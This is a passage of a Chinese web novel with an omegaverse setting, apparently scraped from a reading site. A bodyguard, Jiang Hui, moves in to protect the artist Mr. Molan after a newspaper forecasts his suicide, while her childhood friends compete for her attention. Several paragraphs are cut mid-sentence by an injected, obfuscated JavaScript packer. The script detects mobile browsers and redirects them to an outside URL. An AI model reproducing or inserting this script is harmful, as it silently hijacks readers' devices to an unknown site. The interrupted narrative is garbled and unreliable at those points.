坐好后,江洄想了想,觉得这样不妥,有搞小团体排挤程栩的嫌疑。 于是火速起身坐到对面,并把身边另一张椅子提前拉开。 明树也很上道地帮忙摆餐盘。 崔夏原本一直坐着不动,被江洄从餐桌下踢了一脚,就变得很配合。不仅把程栩大夸特夸了一通,还说吃完饭他负责收拾。 “说起来,你的戒指是准备送人吗?” 他突然笑眯眯地看向程栩。 程栩刚坐下来温柔小意地给江洄布菜,就被他打了个措手不及。幸而这也不是什么不能说的。 他抬头恬静地笑笑:“是我自己的,只有平时上班戴。” 江洄了然:“我记得,你之前说过,你现在上班的学校有同事总是很八卦,经常明里暗里打探你的感情经历,还想介绍你去相亲。” “是,我实在烦不胜烦,就买了个戒指糊弄那些人,说我已经订婚了。” “难怪我上回去你们学校,有人误会了。但你也没有解释,直接默认了,这样好吗?”江洄担心他以后万一真遇到喜欢的人会产生狗血的误会。 “我不要紧,倒是怕你介意。” 程栩歉意地对她笑。 江洄无所谓:“你在三区工作,我一年可能都去不了一次,误会就误会吧。” 【你又想多了。】 终端嗡嗡响了两声。 崔夏低头一看,挑眉与明树对视一眼,然后回复他:【。】 【他不是那种游戏开局就送人头的蠢货。】 崔夏:【可惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491687|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。】 还以为他要求婚。 这样就可以顺理成章把他踢出局。 竟然不是。 不过想想也在意料之中,程栩以前就最擅长玩好朋友的游戏。 不管是体能训练课邀请江洄和他组队,还是在刚分化成Omega时信息素紊乱,请求江洄在保健室陪他…… 甚至。 他亲眼看见这个小白花躲在角落里,恬不知耻地引诱江洄拉开他的领口,露出他的腺体。 明明一副弱不禁风的样子,说话声也很轻,开口却是: “要咬一下吗?” 崔夏当时默不作声退出了保健室,转头就笑容满面地去找老师打小报告,说程栩在勾引江洄玩成年人的游戏。 事后。 程栩被迫接连补了几天生理知识辅导课,以至于放学都不能和江洄她们一起走了。 崔夏对自己成功一箭双雕非常满意,只遗憾于江洄并没有因此疏远这个变态的同学。 她的理由是:“程栩说,是因为觉得我们是好朋友,才会邀请我咬他的腺体。他没有别的意思,让我不要误会。” 对此。 连明树这种正直善良、从不会把人往坏处想的好学生都表示了一言难尽: “只听过好朋友分享零食和玩具,没听过有分享腺体的。” 惊世骇俗了。 但程栩失落地解释:“我只是因为老师和家人都说,要把最珍贵的东西分享给最好的朋友,所以才……” 他脸色苍白,很美丽的一双眼睛含着薄薄的泪水。 江洄就觉得他一定不是故意的,还是情有可原。 没想到这么多年过去,程栩功力仍不减当年。 他给江洄布菜,看她吃得眼睛亮晶晶,立即很满足地捧着脸,对她说:“以后我每周末都回来吧,也方便照顾你。” 江洄摆手:“那太麻烦了。” “没关系——” “我们是朋友嘛。”他还没说完,崔夏就自觉猜到他下一句是什么。 这已经成了他的逗号,每说半句话都要用一次,日常频率之高,无异于普攻。 然而,他竟然猜错了。 程栩自卑又感激地对江洄轻声说:“你是唯一对我好、不嫌弃我,还愿意和我做朋友的人。” “我为你做什么都愿意。” ……虽然猜错,但台词也是老演员了。 只是这句话轻易程栩不会说,一般只有开大的时候才用。 崔夏顿时有所警觉地抬眼。 果然。 程栩垂下眼睑,咬唇静默了一会儿,似乎在酝酿如何开口。 少顷,他轻轻握住江洄手臂,专注地望着她,恳求道:“让我搬过来住吧,你以后正式工作,肯定很忙。我住过来,还可以照顾你。” 又说:“听说叔叔最近在忙博士毕业论文,这种关键时刻不能分心的。崔夏和明树周末一过,也要回九区,以后你们聚少离多,也不能总麻烦他们。” 沉默了很久的明树终于抬头盯着他:“那你呢?你不回三区上班了吗?” “不要紧,我一周只有几节课,还经常被别的老师借用。” 程栩答。 他微热的目光凝在江洄的脸庞。 好朋友成为丈夫的第一步—— 登堂入室。 至于登堂入室之后…… 程栩微微垂下白皙的脖子,后颈的抑制贴在发梢里若隐若现。 他的腺体已经成熟了。 5. 五个雇主 “不行。” - 江洄放下终端。 就在刚刚,她收到了一封邮件。 发件人是莉兰·莫里斯——默蓝先生的姐姐,也是莫里斯家族如今的话事人。 除了提前发给她的雇佣合同,还有一封邀请函。 这封邀请函是一个悼亡会发给默蓝先生的,时间就在下周一的上午九点。 莉兰·莫里斯在邮件中郑重表示,希望她提前一周入职,确保下周一可以陪同默蓝先生参加这次悼亡会。 “最好这周末就搬去清水别墅,方便二十四小时人身保护。” 邮件原文这样写道。 似乎比江洄预计的还要紧急。 不过也是,不是火烧眉毛,默蓝先生也不会勉强答应雇佣一名保镖。他把这种保护认为是一种监视,因此尤其的排斥。 “为什么不行?” 程栩怔忪地凝视着她,看起来很是失落,甚而有几分受伤。 “是因为我哪里做得还不够好吗?” 他轻声问。 江洄觉得他想太多了,并且有点反应过度。 她:“不,刚刚接到了新通知,我今天就得收拾东西飞去二区,工作提前了。” 又无奈地叹息:“大概工作结束之前,我都不会回家了。” 她顺势起身。 程栩抓住了她的手,仰脸注视着她:“如果没有工作……” “如果我答应你,你会高兴点吗?” 江洄唔了一声,偏过头认真地问他。 他咬唇:“我……” “那就当我已经答应你好了,”她对他笑了笑,让他,“高兴一点吧,不要总是皱着脸。” 程栩被她望着,慢慢就红了脸。 他捂住脸,之前沉重的情绪似乎也不见了。 “我皱着脸的样子不好看,对吗?”他不好意思地问。 “那你真应该多照照镜子,”江洄眨了眨眼睛,一本正经告诉他,“初中票选最好看的同学时,我可是把最宝贵的一票投给了你。” 程栩顿时低下了头。 他的视线飘忽起来,不知道该把焦点落在哪里才好。 他藏在发梢里的耳后根红了。 江洄因此轻易把手抽出来,并走回房间开始为短期的出差做准备。 崔夏和明树两人则始终在餐桌旁坐着刷终端,直到智能机器人过来收拾餐盘。 尽管程栩还想多留一会儿,但是看江洄确实很忙,就不好让她还要分神陪自己,只能提前道别回去。 回去前,他轻柔地叮嘱江洄: “回来了记得通知我,我最近报了烹饪课,老师说我进步得很快。等你下次回来,我想让你帮我检验一下学习成果。” 【当初他不要脸地骗江洄标记他的时候,也说是检验生理课学习成果。】 【:)】 明树看了一眼没回复,只等程栩一走就把门关上。 “刚才有外人我也不方便问,你这份工作这么危险吗?” 他在旁边看了会儿,不时提醒她东西的位置,后来干脆自己上手帮她收拾,让她坐着歇歇。 “我以为你们知道。”江洄很惊讶他现在才提起这个话题。 明树:“在九区基本没空刷终端,回来了我们也没注意。还是今天在咖啡店外面崔夏碰巧看见了那张报纸。” 联邦最著名的星河公报头版头条——默蓝先生将于一个月后自杀于清水别墅的家中。 但忧郁的默蓝先生本人在此之前并不知道他要自杀。 “也还好,我对于我的枪法非常自信。”江洄得意地扬了扬下巴。 明树顺着她的动作望向她搁在一旁的那把脉冲手枪:“你那位长官身份应当很不一般。” “确实。”提起这个,江洄就开始含糊起来了,“有些特殊。” “不能说,是吗?我明白,”明树对她比了个手势,“你不用告诉我们。但你或许可以稍微透露一下,你对这次任务有几分把握?” “十分。” 崔夏懒洋洋开口。 她立即满意地向他投去赞许的目光。 “想也知道她会这么回答,你根本没必要问。”他挑眉,让明树别再瞎打听,对江洄有点信心,不要关心则乱。 “她每次都能把事情办得相当漂亮。” 他告诉明树:“你只要记住这一点就够了。” “没错!” 江洄站起来,越过明树的头顶,和崔夏击掌。 明树正蹲在地上给她叠衣服,听见头顶一声脆响,终于无奈地露出一点笑。 “你们两个这种时候倒是默契。” 又让崔夏一起帮忙收拾:“或者,你先帮江洄订机票。总之,做点事吧,不要也跷着腿坐在那里。” “好——”崔夏拉长了声音。 江洄却在这时突然啊了一声,好像想起来什么似的。 她在三人小群里面发了一条消息。 “这是我新开的工作号,没事不要找我,有紧急情况还联系不上我的时候再用。” 默蓝先生那边还情况不明,她得做好万全的准备。 崔夏慢悠悠瞧了眼,问她:“你在吃饭的时候怎么不说?” “说什么?”江洄一头雾水。 “程栩不知道你这个号码。”他提醒道。 江洄更莫名其妙了:“我为什么要告诉他?我们是好朋友,但还没有好到这种程度。” 并强调:“这个新号除了工作相关的人,只有你们和我妈妈、爸爸知道。” 又警告他们:“不可以告诉别人。” 崔夏突然噗哧笑起来。 江洄觉得他很奇怪:“你笑什么?” “没什么,只是觉得你说的很对。”他笑得露出尖尖的虎牙,绿色的眼睛流光溢彩。 看他那副一肚子坏水的样子,江洄也猜到十有八九和程栩有关系。 她叹了一口气,瞥他:“你不要总是和程栩过不去,他人其实很好。虽然有时候黏人了点,会有点分离焦虑,但也只是因为他没什么朋友。” “他很可怜的。” 她认真地说。 “这我就持相反意见了。” 崔夏漫不经心地说完,忽然一时兴起。 那双生机勃勃的绿眼睛就这么直勾勾地盯向江洄。 撺掇道:“要不,我们打个赌?” “赌什么?”江洄好奇地抬眼,与他四目相对。 “就赌下一次你们见面,正好是他的易感期,他还会想方设法地骗你、求你标记他。”崔夏盯着她笑。 于是江洄也笑出声了:“你还在对初中的事耿耿于怀啊。” “程栩以前对性别差异没有明确认知才会让我咬他,现在我们都不是小孩子了。他怎么可能还会做这种事?” “他以前也没把自己当个孩子。” 崔夏习惯性嘲讽了一句,才问她:“所以,你觉得不会?” 江洄很有自信:“是,我觉得他不会。” 崔夏就望着她一直笑。 哪怕江洄被他笑得忍不住把他按在地毯上教训,他也还是一边讨饶地认错,一边仰脸看着她笑。搞得江洄都没辙了。 她气得把他一头柔软的黑发揉得乱七八糟,最后却也望着他熠熠生辉的绿眼睛,无可奈何地笑起来。 “只是一个赌而已,有这么开心吗?” “当然。” 崔夏眨了眨眼睛。 他已经想好赢了之后,该许什么愿了。 “你也觉得我会赢吧?”他神采飞扬地望向旁边一直默不作声的好友。 明树却难得地没有制止他的赌约。 他一直在走神。 被询问,也只是低头心不在焉地嗯了一声。 真是稀奇。 崔夏若有所思地想。 但很快,他就没空再想这件事。江洄开始问他机票的事,他迅速凑了过去,和她头挨着头看起了终端…… - 江洄最后是乘坐的下午五点的无人机。 飞机上,她闲着没事又把之前那一期轰动联邦的星河公报翻出来看了一遍。 然后叹了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491688|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这已经是近来的第四则自杀预告了。 第一则预告是快要一个月前的事。 死者是某贵族的小儿子,自焚于二区最空旷的自由广场。 据说这是一个追求恋爱自由与人格独立的Omega,为了反抗家族联姻才出此下策。 自焚的最后。 他高喊了一声“为了自由”,就缄默于熊熊烈火之中。 …… 第二名死者是一个常年居住在疗养院的Alpha。 他年纪很大了,是一名很受尊敬的老军官,原来隶属于九区军部,且职级非常高。他的风评也很好,没有任何花边新闻,从未有过恋爱对象,只有个Beta好友,隶属于B.F.A。 他们是多年的同学。 后来他的Beta好友在一次任务中下落不明,这使得他情绪过激下信息素紊乱。他拒绝接受任何疏解,导致精神链严重受创。 因此不得不提前退休,在疗养院休养了很多年,身体情况原本也有所好转。 然而半个月前。 他毫无预兆地被自杀于疗养院。 房间内墙壁和天花板血液飙溅,还有大大的一行血字: “我是罪人”。 他睁大着眼睛恐惧而茫然地死去。 …… 第三名死者是位著名的诗人——真正的诗人,不是默蓝先生那种水平的诗人。 这是个Beta。 她被人发现时,安详宁静地双手交叉相握,并拢的掌心拈着一枝清纯带露水的百合花,放在胸口。 百合花里有一张喷了香水的精致卡片,写着: “死亡的钟声在诗歌中被敲响”。 后来经查验,百合花中被注射了某种最新的神经毒素,就是这个让诗人在睡梦中被杀死。 香水倒是很大众的雪松味,不少人信息素都是这个味道,因此很难查实。 …… 很多人说,如果并非自杀,那么下手的杀人犯一定是有某种收集癖,所以三种性别都各选了一个。 前三则预告基本一个接一个,平均三天出现一名死者。 因此。 在隔了很久,都没有人再死亡时,不少人以为这件事到此为止。但也有人觉得,严谨来说,有六种性别,自杀还会继续。 于是两周后,第四则预告出现了。 - 是一名男性Beta,还是位擅长绘画的著名艺术家,很多人说他是诗人的对称。 而江洄的任务便是保护这名Beta。 以及。 抓住背后的凶手。 …… 无人机于五点半准时降落,二区却已经下起了雨。 雨势渐大,江洄飞跑着奔向机场外等候多时的人。 “下午好。” 她笑容满面地冲老管家挥手。 又顺势客套地问了一句:“默蓝先生还好吗?” 然而话音刚落,后车窗就缓缓降下。 在她讶异的目光中,默蓝先生抬起了那张苍白的面孔,并隔着濛濛细雨望向她:“下午好,江洄。外面在下雨……” 他不自在地移开眼神。 “……上车吗?” 他又问。 问完后,默蓝先生偏过脸,低垂着目光。他白皙的脖子折出一道弧,这道弧让江洄莫名感到眼熟。她笑着应声,神态自若地坐进车里。 然后心不在焉地对着车窗想了半天。 想到她甚至已经慢一拍地跟着默蓝先生下车,才突然在电光火石间记起一件事—— 不同于崔夏在预测到分化的大概日期后,就被家人送到医院呆着直到平稳地度过分化期。 明树是在她卧室里分化的。 明树分化的那个雨夜。 也是这样低着头,只有白皙的脖子折出一道弧。 他疼得脸都白了:“你不是一直好奇Alpha的腺体有什么不一样吗?”他对她露出苍白的笑。 然后把红肿的腺体送到了她手边。 他说:“玩吧,随便怎样都可以。” 6. 六个雇主 雨还在下。 江洄坐在客厅里签完了那份纸质合同,并对递上红茶的老管家笑着道谢。她抬眼看向对面的默蓝先生—— 他今天穿得很正式,一身黑,只有衣襟别着一朵白色的雏菊。 “您出门是为了周一的悼亡会吗?” 默蓝先生低低应声:“嗯。” 老管家笑着在一旁替他补充:“正好回去的路上收到了您要来的消息,先生就说先不回去了,直接到机场接您一起回家。” 江洄再次不好意思地笑:“真是麻烦你们了。” “应该的。”默蓝先生说。 他和江洄相对而坐了一会儿,显而易见地不自在起来。还是江洄主动问他:“我住在哪里?” 他才松了一口气。 立即起身让老管家领她去看房间,他自己却匆匆上楼进了画室。像是落荒而逃。 江洄困惑地跟在老管家身后:“默蓝先生还是这么不习惯有生人来往啊,我还以为我们已经见过几面了,至少要比第一次见面好得多。” “不是您的原因,是地方不对。” 老管家安慰她:“先生每次坐在会客厅,都有种如临大敌的感觉。如果是在他的画室交谈,就会安心很多。” 说着就把江洄往楼上引。 “三楼的房间除了先生的卧室,都被改造成画室和书房了。本来想给您收拾一间空房出来,但里面东西又杂又乱,恐怕要几个星期才能归置好。但二楼和四楼都还有客房,您看住哪儿比较方便?” 江洄便挨个去看了各个房间的朝向,顺便比较了一下和默蓝先生卧室的距离。 最后她站在二楼朝南的一个房间的露台上,远远望向对面那条街道最近的一栋别墅。别墅的花园里有个年轻人正弯着腰修剪花枝。 她注视着那个人:“他就是您之前谈到的那个作家吗?” 老管家也顺着她的视线望去:“诶,就是他。今天早上才来拜访过,送他自己烤的点心。还有一封邀请函,说是几天后又要办文学沙龙,特意请先生赏脸去参加。” 江洄点头。 她来之前特意在星网上查过这人的资料,只有两行作品集,没什么荣誉与奖项傍身。 “他似乎在联邦外很出名。” 言下之意,在联邦只是籍籍无名之辈。 老管家摇摇头回答道:“这我就不清楚了,先生不大喜欢这个人,说他看着面相不好。还尤其叮嘱我不能收他的东西。况且……” 他和江洄交换了一个眼神:“最近是特殊时期,总是要防着些来历不明的人。” “您说的对。” 江洄离开了露台,告诉老管家:“就这间吧。我计算过,默蓝先生卧室的露台在我左上方,画室在我右上方。要是有紧急情况,我从外面爬上去是最快的。” 而且还能方便监视对面的可疑人物,视野没有高大的植被与遮蔽物。 “我这就让机器人帮您把行李送进来。” 他笑呵呵地离开了。 “好的,谢谢。” 江洄一个人在房间里转了几圈,熟悉了构造之后给备注是“L”的联系人发了信息。 【已顺利抵达。】 对面隔了十几分钟才回:【1】 看见回复,江洄立即熟练地把聊天记录删掉,继续让“L”在通讯录里躺尸。 恰好这时候机器人滑进来,显示屏闪过红光,提醒她行李已经送到。除了她的行李,机器人的另只手还端着茶盘。 “是给我的吗?”她伸手去接。 机器人一板一眼地拒绝了她:“是先生的红茶。” 江洄觉得它说话的语气很有意思,就笑起来:“那正好让我去送吧,我要去了解一下三楼房间的构造。” “对不起,我不能接受你的帮助。” 机器人再次一板一眼地拒绝了。 它转身一路发出“滴滴”声,先她一步爬上三楼。 江洄看着它习以为常地停在画室门口,敲门,并且声音不高不低地喊道:“先生,您的红茶。请开门。” 也不知道默蓝先生是不是太沉浸了,竟然一时没有反应。 语音连续重复了几遍,门才匆匆忙忙被打开一道缝隙,却连人影都没见。只有一声敷衍的吩咐:“放在那儿吧。” 江洄站在画室门口朝里张望,没有径直走进去打扰他。 机器人不疾不徐进去,把茶盘放在一张小桌上。但是没有立即离开,而是勤快地捡起地上被丢得乱七八糟的颜料盒,以及被团得皱巴巴的废纸。 它无声无息地开始了清洁工作,甚至从自身通气孔释放出空气清新剂。 看了会儿,江洄不好意思干站着,也上前帮忙。 然而,机器人还是显示屏闪着两点红光:“谢谢,还是我来吧。”声音虽然不算大,但在寂静的画室里分外清晰。 默蓝先生一下被惊醒。 他回过头,下意识站得笔直,似乎对被她看见凌乱的环境而窘迫。 “有什么事吗?”他飞快地朝她掠过一眼,便撇过头。 江洄也对自己无意打扰了他而感到歉意。“我想看看您经常待的几个房间,可以吗?”她问。 “……可以。” 他回头看了眼画板稍微犹豫了一瞬,但还是答应了。 或许确实像老管家所说,在三楼自己最熟悉的环境,默蓝先生要自然许多。不仅不会躲躲闪闪,甚至还能主动引出话题,和她聊上两句。 机器人始终不远不近地跟着她们,一路走,一路清理灰尘。 这其实是一款比较旧的型号了,即便是江洄家里的家政机器人都要更加先进,并且具有更好的互动功能。 此外,清水别墅占地面积不小,却没有安装AI系统,甚至连监控都没有。这在习惯了AI无处不在的江洄看来,有些令人在意。 大概是担心隐私泄露吧。 她想,现在还是有一部分人对过分的生活智能化持有怀疑的。尤其近年不断有人工智能觉醒的风波。抱有一定警惕心也是理所当然。 但是该做的建议还是得说。 “您或许可以在走廊的转角放几个监控摄像头,这样也不会影响日常生活。” 好说话的默蓝先生却难得坚决拒绝了。 “不,”他皱眉说,“很抱歉,我不希望我的家变成那样。我在这里住了好几年,一直很安全。你不用太担心报纸上的事。” 江洄微妙地沉默了。 一般死得快的炮灰都喜欢这么说。 不过她也没有勉强他。 毕竟就连雇佣保镖的决定都是莫里斯家族施压、老管家老泪纵横地相求,他才勉为其难答应的。 如果不是默蓝先生足够挑剔,并且再三声明只接受Beta,站在这里的就不是江洄,而是某个九区调来的现役Alpha军官了。 江洄对于自己的第一份正式工作还是很慎重的,并不想开头就得罪雇主。 因此她只是笑了笑:“好吧,我相信您。” “但也请您相信我,”她望向默蓝先生,认真地和他商量,“如果后面发生意外,希望您可以支持我的决定。” 默蓝先生略思索了须臾,低声答应下来:“我会的。” 江洄对他的笑容就真诚多了:“谢谢配合。” 接下来又去看了默蓝先生的卧室——没什么特别,装修风格和清水别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忧伤的诗在默蓝先生的身体里静静燃烧了两天。 第三天。 江洄举着黑伞在淅淅沥沥的小雨中为默蓝先生打开了车门。 默蓝先生捧着一束洁白的百合踏入寂静的悼亡会。 一群人与他简单寒暄了两句就各自散开。 不多时,又一个人走来,向默蓝先生伸出了手。他说,他是一名作家,就住在清水别墅附近。 “是吗?”默蓝先生冷淡简短地回应了一句。 就没有然后了。 他并不递出手,也不愿意与他寒暄。 偏开脸时,面部棱角似乎也锐利许多,丝毫不像家里那个不善言辞但性格温和的默蓝先生,反而更接近于新闻上孤僻且生人勿近的艺术家了。 但作家全然不发怵。 他笑容不变,竟向一旁默默旁观的江洄伸出手:“您也是我们亲爱的诗人的朋友吗?如果您愿意,有空也欢迎来我家喝茶。” 并冲她眨了眨眼睛,请求她帮自己缓解几分尴尬。 江洄对着他言笑晏晏的面孔没作声。 默蓝先生对于不小心将她拉入漩涡十分抱歉,也因而对这个过分自来熟的作家愈发不满。他语气生硬地回答道:“请不要为难我的朋友。” 并且看着作家脸上的笑容更觉得刺目了。 “这里是尊敬的西琳女士的悼亡纪念展,不是您的交谊舞会。” 他说:“请自重。” 7. 七个雇主 西琳女士的家族在二区也是赫赫有名的老牌贵族了。 又有许多同人自发为这次悼亡纪念展奔走,因而办得尤其庄重。不仅展出了诗人至今所有出版的作品,还公开了部分未完成的手稿。 其中有些只是西琳女士从前在茶话会上随意留下的只言片语。 大多是她的友人保存下来的。 默蓝先生周六冒雨出门,也是为了这件事——西琳女士是他少有的几个能说得上话的朋友。 “失礼了。” 他平静地带着江洄与作家错肩而过。 江洄也很配合地目不斜视离开,并不与作家多做交谈,甚至没有交换一个眼神。 直到走近展示的玻璃柜,江洄才惊讶地朝其中一卷手稿投去目光:“这是方才那位先生提供的。” 展示的标牌上写有作家的姓名。 默蓝先生顺着她的视线也望去。他有一瞬的沉默,然后低低嗯了一声:“是的,他与西琳关系很不错。” 顿了一下,又道:“准确来说,他和这里的所有人关系都不错。” 除了我。 这句他没说。 但他和江洄四目相对的刹那,两人默契地在对方的眼中看见了这句话。 绕着展馆静默地游览了一圈,到后来进馆参观的人越来越多,并渐渐涌现出一部分的媒体。展馆里的空气都变得拥挤了。 默蓝先生很烦扰地朝那些媒体瞥了一眼,很不情愿被这些盯住人就不会松口的马蜂发现自己的存在。 尤其最近网络上都在关心他什么时候死。 “人会越来越多的,外面还在下雨,前门已经堵起来了。” 江洄在终端调出附近的路况图,除了地面的普通车道,连半空的亚光速飞行道都一片红灯闪烁。 她当机立断:“我来的时候在门口看过消防图了,从二楼上去有个侧门连着玻璃栈道,可以从那里出去。” 被她突然拉住在人群中穿梭的默蓝不自在地看了眼手腕——她的手就牢牢握在上面。 他被迫跟着她飞快游动,太多的人挤压着空间,害得他眼花缭乱,甚至隐隐失去了方向感。 “江洄、、江洄……” 他低声喊道。 回头朝门口匆匆望去,又迅速扭回来,把脸低下。 “有人跟上来了。”看那人胸口的铭牌,是星河公报的人。 但已经迟了一步。 江洄突然停了下来。 恰好他之前下意识加快了步伐,以至于这一下险些撞上她。他又惊又险地扶了把她的肩,并在她身后看见了对面的几张熟面孔。 有一个就是门口那人的老搭档。 这人略微惊讶地挑眉,已经有带着人围堵过来的架势。 “真是太巧了,默蓝先生。您之前拒绝了我们的采访,正让我们感到困扰呢。没想到这里这么多人还能有机会和您单独碰面。” 这个记者走了过来。 而后突然顿住。 笑容也僵在了脸上。 一把枪不轻不重抵在了她的侧腰。 她低头朝腰侧看,很有眼力见地认出是最新的脉冲手枪——即便在军部都还未能普及使用的限量款,只有她当初去九区军方研究所采访时,才有幸看见过一回。 再抬头—— 一个年轻的Beta在对她友好地笑。 Beta好声好气地和她商量:“默蓝先生不想接受采访,希望尽快离开这里。可以吗?” 说话时Beta的视线还不断地逡巡着她们几人,显然是在预估她们的难缠程度。 一个专业的保镖啊。 她不由在心里叹息一声,这就很棘手了。 枪口威胁地往她侧腰那块骨头用力怼了怼,有点痛,但是她眉毛都没有动一下。只是云淡风轻地让开一条道,并对身后的同行笑着耸肩: “走吧,不要让这位女士为难。” 刚从人群里拨开一条缝隙,江洄立即拽着默蓝先生穿着夹缝硬生生挤过去。然后趁更大的喧闹引起来之前,蹬蹬蹬爬上了二楼。 默蓝第一次见这些记者这么好说话,莫名为自己之前一直僵着不肯请保镖而感到隐隐的懊恼。 他问江洄:“车还停在门口,怎么办?” 江洄在空中投影出路况图,指给他看:“我们所在的A停车区已经爆满了,A停车区还在最里面。目前后台已经禁止A—E停车区有车辆进出了。要先等外面放掉一批。” 默蓝不禁愧疚道:“是我耽搁的时间太久。” 和他一批来的熟人很多已经回去了。 “您只是想多陪您的朋友一会儿,毕竟是最后一面了,”江洄安慰地对他笑,让他不要放在心上,并且告诉他,“有两种解决方案。” “在二楼等到所有人都散场,我们最后离开;或者,玻璃栈道往前就通向空中车站。我们可以乘坐观光大巴,观光大巴的最后一站就在清水别墅附近。” “但有个小问题——” “什么?” “观光大巴中途没有停靠点,我们不得不绕着二区飞一圈,才能回到清水别墅。” 默蓝立即松了一口气:“不要紧,正好我之前还从没有坐过这种车,就当是在旅游了。” 江洄便让他坐着稍等片刻,又折返回去向工作人员借了雨衣和伞。担心他等得久了,又会被人撞见纠缠,她几乎是飞奔上来的。 路过默蓝时速度也并未因此慢下来,而是顺势拉住他越过二楼的侧门,跑上玻璃栈道。 门打开的刹那,豆大的雨珠噼里啪啦打了下来。 默蓝下意识伸出空着的那只手挡住脸,却猝然看见头顶被撑开了一片透明的天空。伞面就像模糊的毛玻璃,起了淡淡的雾。 只有雨滴寂静地响。 江洄和他挤在伞下。 玻璃栈道被雨水冲刷得更滑了,他又穿着皮鞋,走路的步子渐渐变得谨慎。 江洄侧目对他笑了一下。 “冒犯了。”她说。 他微怔,还没反应过来,那只干燥柔软的手就从他腕部滑到他指骨,并捏住了他的四根指头。 扣得很紧,甚至能感觉到她指腹的茧。 默蓝心不在焉地被她拉着往前走,余光似有若无瞥到她专注的侧脸。虽然每每瞥到,他又匆匆躲闪开。 握着他的这只手很灵活。 他脑中忽然冒出这个想法。 他还记得她刚才如何变出一把枪——明明进来之前都已经做过检查,也不知道她怎么躲过去的。 她突然变出一把枪,又突然把枪抵住了那个狡猾老练的记者…… 然而这只手现在正握着他。 ……鬼使神差地,默蓝剩下那根指头也回应般轻轻贴住了她。 那位置,正好是某块凸起的指骨。 他又鬼使神差抬头看了她一眼。 没成想江洄正好在回头看他。 江洄以为他单纯因为两人挤在一把伞下而不适应,宽慰他:“没几步了。这里路太滑,分开走我怕您摔了。” 默蓝低低应声。 头顶还是阴云密布,雨势非但没有收敛,反倒越下越急。 无数交错的亚光速飞行道闪烁着醒目的红绿色光,炫酷的超跑像子弹头破开透明的雨幕,拉出长长的轰鸣。 天渐暗,霓虹灯在乌云的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491690|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼罩下仿佛是一只又一只机械眼,无机质地俯瞰着这座城市。 这里是二区最繁华喧嚣的主城。 默蓝凝视着半空的巨幕投影——上面正在播放最近的新闻。他先是看见了西琳女士苍白的遗容,然后是他自己。 没什么表情,还是黑白影像。 愈发显得他眼睛黑得像虫洞,皮肤白得像冷调光的阴影。 他眼睛被蛰了一下似的猝然避开视线,忽然感觉那个自己很陌生。 “又是星河公报。” 默蓝突然被耳边不满的声音惊醒,他仓促追着这道声音看去。 江洄带着他往前冲刺几大步,三两下登上半空车站。 车站悬浮在空中,最上面的屏幕滚动着下一辆观光大巴的抵达时间。江洄随意扫了一眼,发现时间还早,至少要等十分钟。 干脆把伞收好,搁在一旁。 一只手飞快操作着终端按照星网上的号码拨了过去。 默蓝以为她是有私事,立即垂眸并有分寸地拉开一段距离。 “你们在二区B-17大道上方的投影为什么用的黑白影像?还有你们的标题——根本就是在造谣!默蓝先生没有死,也没有自杀的打算,他很好!” 江洄语速很快地说道:“即便是炒作引流,也请注意分寸。我已经看见你们在不止一个地方投放了死亡倒计时,你们这是在谋杀!” “一群吃人血馒头的混蛋!我要向联邦监管局投诉你们!” 她噼里啪啦说了一大堆,质问的话语比外面的雨下得还要急。 这实在令默蓝感到出乎意料。 他忍不住抬头,微热的目光凝在她脸庞—— 那张生动的脸孔在霓虹灯影里被放大了表情,每一寸的神态都清晰至极。 少顷。 江洄冷静地挂了通讯。 默蓝把刚才拉开的距离缩小。他站在她身旁,垂下的衣袖就挨着她的袖口。 “……谢谢。”他说。 但声音很轻,轻得一下子就被大雨冲走。 于是他又重复了一遍:“谢谢你,江洄。” “您谢早了,”江洄这回听见了。她平静地扭过脸,语气一板一眼地告诉他,“他们说,让我尽管去投诉。” 其实也没这么直接。 原话是—— 您好,这则新闻是没办法撤掉的呢。但这边已经为您汇总了相关部门的投诉方式,稍候将会发到您来电的号码上,敬请查收。如果您还有其它需求,欢迎再次致电! 第一次接触邪恶资本的江洄:“……” 这也太肆无忌惮了吧! 默蓝不清楚对面究竟说了什么让她这样生气,但想也知道不是好话。 他望着她,突然笑了一下。 然后将她手上的雨衣接过来、抖开,披在她身上。江洄还在为他刚才那一瞬间轻松的笑容而震惊,却已经被他俯身扣上了兜帽。 